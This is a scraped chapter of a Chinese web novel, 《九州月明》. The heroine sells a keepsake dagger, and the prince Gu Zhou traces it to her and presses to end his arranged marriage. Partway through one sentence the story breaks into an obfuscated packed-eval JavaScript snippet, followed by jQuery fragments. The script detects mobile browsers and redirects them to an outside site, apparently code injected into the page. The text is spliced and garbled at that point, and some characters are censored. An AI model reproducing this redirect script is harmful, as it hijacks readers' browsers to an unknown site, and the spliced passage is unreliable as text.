41. 违逆

作品:《九州月明

    一想到这里,突如其来的狂躁如同风暴席卷走心中平静,沈明月立即打消了这个念头,她就不信了,除了嫁人,一定还有别的路可以走。


    起身翻箱倒柜,将所有物品清点一遍,其中最值钱的只有云霄膏和那把匕首了。


    云霄膏一点也没有浪费,全部用完,剩下的罐子估计也值不了几个钱,那把匕首倒是看上去价值不菲。


    当掉匕首,就能救命。


    她拿出软布仔细擦拭,希望当铺能估个好价格,指腹轻捻过外鞘上的装饰,茧子与凹凸的麒麟纹相触,发出轻微摩擦音,似钝锉一般,打磨着着她心中的遗憾。


    这把匕首,曾在荒芜的暗夜中给了她安稳的守护,曾在突发的危难中给了她忠诚的保护,现在即将发挥它最后的价值,成为她的希望,成为她摆脱绝境的资本。


    忽而,她心中生出了十二分的不舍。


    匕首外壳被擦得锃亮,上面镶嵌的宝石,光滑的表面流淌着荧光,好似含泪欲滴的美目,故意吸引人再看它一眼,哀求主人再考虑考虑。


    可一个物件,怎会有感情,不过是人们赋予了特殊的意义在上面。


    可带来这特殊意义的人,已经背叛了友谊,那么这特殊意义就没有存在的必要了。


    沈明月将匕首仔细包起来,毅然决然出门而去。


    曾经,她以为她与顾洲的友情坚不可摧,这种感觉,在安庆城楼上道别之时到达了顶峰,可现实却脆弱到一击即碎,有人翻脸的速度比闪电还快。


    或许,对于顾洲来说,这友谊原本就建立在利益之上,现在她要用金钱来衡量也不为过。


    来到上次典当耳坠子的那家当铺,里面的朝奉【1】打开布包便两眼放光,随即赶紧皱起眉来掩饰心中兴奋,反复看了几遍,说了些匕首的瑕疵,最后只给出五两银子的价格。


    这价格可关乎性命,沈明月仔细观察着他们的动作,这些小诡计一点也没能逃出她的眼睛。


    此前耳坠子当了一两银子,她已是十分后悔没再多走几家,莺儿说那上面的宝石可是波斯的货,最起码值一两半。


    她要回匕首,揣在怀中,抬脚要去别处看看。


    “姑娘且慢,姑娘且慢。”朝奉着急忙慌地走下一人高的柜台,穿过腰门【2】追到了门口。


    “八两,八两怎么样?最高了……”


    沈明月看他这急切的样子,心中更有了谱,毕竟是皇子用的东西,怎么会是便宜货,但也不知道多少合适,于是随口开价:“三十两。”


    朝奉当即没了热情,眼皮一垂,言语间有些不屑,“二十两?姑娘可真是狮子大开口!还真以为这匕首是金子打的?”


    “告辞!”


    沈明月重重地撂下一句话,头也不回地去寻其它当铺。


    而身后的朝奉将手揣在袖中,笃定地对小伙计说道:“瞧着吧,她过会儿就会回来。哼!三十两!我看她是想钱想疯了!”


    但事与愿违,沈明月走了四五家当铺后,想通了一件事,典当不如出售。


    出售是一次□□易,典当是周期□□易,典当行没有物品所有权,还要承担物品贬值的风险,故而典当的价格要比出售的价格低很多。


    这匕首原本也没打算赎回,倒不如直接卖掉,她又走了几家珠宝古玩铺子,最后以十五两的价格卖掉了匕首。


    古玩店的掌柜拿着匕首反复赞叹,这装饰、这材质、这做工都是一等一的好,若流通到州府富庶之地,价格会翻上几番。


    他兴奋地捧着着匕首来到后院,正好今日东家在,如此好物需交于东家过过目。


    敲开房门,伸脖向里探了探,一个不过二十来岁的男子端坐在书案,正听账房先生汇报账目,掌柜不敢多言,站在外间小心等候。


    两年前,这青年从原店主家盘下铺子,令安排一位账房先生在此看管常驻,依旧聘他为掌柜。


    但看这东家是外地人,少言寡语,不像是买卖人家出身,也未问出为何要来此处开铺子,他心中不禁打鼓,心想这铺子算是完了。


    他本想趁着铺子没黄,自己还有些口碑,再去谋份差事,但因新东家言说自己人生地不熟需要他帮衬,又开出了令人心动的薪酬,他便留了下来。


    这一留就是两年,铺子开到现在,虽生意平平,却也能维持周转,东家时不时过来一趟核对账目,也鲜少插手柜上生意,店中多一半的事也都由他做主,日子过得十分舒心。


    不多时,账房先生抱着账目离开,他立即将匕首奉上,他本以为东家看了会夸赞一番,不料东家的神情却有些错愕,目光在匕首上停留,仿佛在思索什么,问了几句卖主信息后匆匆离去,留下他在原地,丈二的和尚摸不到头脑。


    这位东家不敢停留,当即快鞭急马日夜兼程,将匕首送到了营州,交给了他的上级,当朝大殿下的侍卫,海棠。


    海棠看着匕首也是一阵疑惑,主上的这把匕首从不离身,怎么会从出现在安山这个小镇中,她立即到大殿内回禀。


    此时顾洲正吩咐徐铭将自己的药喝掉。


    徐铭看着黑漆漆的药汁,苦味直往鼻子里钻,表情痛苦的为难道:“主上,我的伤早好了,倒是您的伤,三天两头地断药,何时能好?”


    顾洲面无表情,“有病治病,无病强身。”


    “那主上怎么不强强身?您受伤后身子一直不好。”


    在顾洲冷冷的眼神下,徐铭不得不闭嘴,端起了药碗一口闷掉,他也知道这是主上对自己放走沈先生的惩罚,他心中也是十分自责,没有安排好沈先生到营州后的事,以致先生生死不明。


    而主上的伤未愈,一半是因为不好好用药,一般是因为心结未解。


    海棠进殿后,看着二人却不开口,她认定徐铭背主,从此再不曾与他说过一句话,有要回禀主上的事也都有意将他避开。


    她面上的凝重,令大殿内的氛围有些沉闷,又有些尴尬,顾洲只得将徐铭支走,她这才拿出匕首。


    见匕首如见明月。


    顾洲的眼底闪过一丝光芒,甚至疑心自己是看错了,上前接过仔细端详,果然是自己那把,拔出一看,刀刃依旧锋利,看来是经过了十分用心的保养。


    他双手微微颤抖,迫不及待问道:“在哪里找到的。”


    在等待回答的这一瞬间,心跳好似风中的秋千,慌乱没有规律,期盼着得到答案,又害怕是不好的消息。


    “是安山驻点送来的。”


    随后海棠将情况一一禀明,但顾洲只听清了其中的一句,“属下怀疑这女子就是沈明月。”


    这句话犹如春风吹入亘古寒夜之中,吹化万丈积雪、唤醒沉睡的大地,他身体里似乎有一只鸟儿在欢呼雀跃,庆祝这新生的季节。


    她还活着,她在安山。


    他高兴得已然失态,面上的笑容怎么也压不下去,吩咐海棠立即去寻人,而自己却不知要如何好,坐也不是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573839|167415||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    站也不是。


    最终他还是坐到了案几前,将朝中斥责的诏书甩在一边,铺开一道奏折,再次写下退婚的请求。


    沈明月离开后不久,他忍着伤痛和心痛写下了第一道退婚奏折,不出意料地被他父皇斥责,但他不在意,这婚必须退。


    待安排好北境事宜,离开安庆前,他又写下了第二道退婚的奏折,果不其然,斥责的诏书昨日又到。


    若说第一次退婚,圣上看在战功和重伤的份上,没有过多责问,还下了封他为绍王的圣旨来安抚,只待他归京受封。


    但这第二次退婚,可就真的触到了天子逆鳞,圣上气得摔了茶盏,连骂两声“逆子”,不再提及封王一事。


    愤怒之余还要顾虑柳家的感受,赏赐了两柄玉如意给柳家大姑娘,承诺与柳家这亲结定了。


    柳公权感激涕零。


    在朝臣看来,他应当这样,这是可是天子给的无上荣耀,毕竟被天家退婚的姑娘,不论是什么原因,以后都无人敢娶,甚至还会牵连到家族中未出阁的姑娘。


    柳公权却是有苦说不出,他与大殿下有着同样的意愿,也巴不得大殿下不回来。


    这半年来他过得提心吊胆,生怕将大女儿的婚事提上议程,本欲就此解了这门婚事,但见圣上如此盛怒,便也不敢再说什么,只悄悄命人加紧寻找。


    他十分懊恼,贪图与天家结姻亲,将此事拖了这么久,以至于现在骑虎难下。


    若此时将大女儿亡故的消息告知朝中或者用二女儿来替嫁,都会落得个欺君之罪。


    然而顾洲并不知道京中这些事,将奏折一气呵成,交于侍卫送往京中,这次他言语极其委婉诚恳,只盼父皇能遂他的意。


    当然他也做好再次被斥责的准备,所以自己的肩伤一直不痊愈,拖延归京的时间。


    关于退婚他找不出什么好理由,只能从自身的恶名和伤势入手,一点也没有提及沈明月。


    因为他清楚,若他父皇知道了真相,那时不论他有什么说辞,他父皇都会直接给沈明月安上一个勾引皇子的罪名。


    此次,他还要找个外援。


    于是再次铺开信笺,将前因后果详细地写下,只是隐去沈明月姓名。


    书信最后写道:“外甥愧对此女,亦对此女钟情,若不能娶此女为妻,实为平生之憾。承平此生,不羡妻妾成群,惟羡舅舅、舅母伉俪情深,惟愿与知心之人共赴白首,愿舅父、舅母成全。外甥承平,遥祝舅父舅母安康顺遂。”


    这封信送到齐都邺京安国公府时,国公夫人方氏正在佛堂上香,祈愿顾洲能平安归来。


    近些日子,京中关于顾洲的传言如风,在官宦世家的后宅之中刮了几个来回,因此她越来越忧心。


    打开信后得知原委,她的忧心变为了忧愁,重情重义是好事,但这于皇家来讲,却是最不该有的。


    她匆匆来到书房,焦心地等待国公爷散朝归家,一遍又一遍地询问,“以往这个时辰国公爷早该回来,今日怎的这样迟。”


    书房伺候的小厮暗中算算,也就晚半个时辰,不知夫人有何要紧事,竟这般着急,他劝慰道:“夫人勿燥,进来朝中事多,国公爷定是被朝政绊住了脚。”


    正说着,只见安国公背着手大踏步进来,眼带怒火愁容不展,但见顾洲的书信,语气中的愤怒和不满,让书房内的空气都变得紧张起来。


    “这个混账,不学无术,当初就不该让他如此选择。”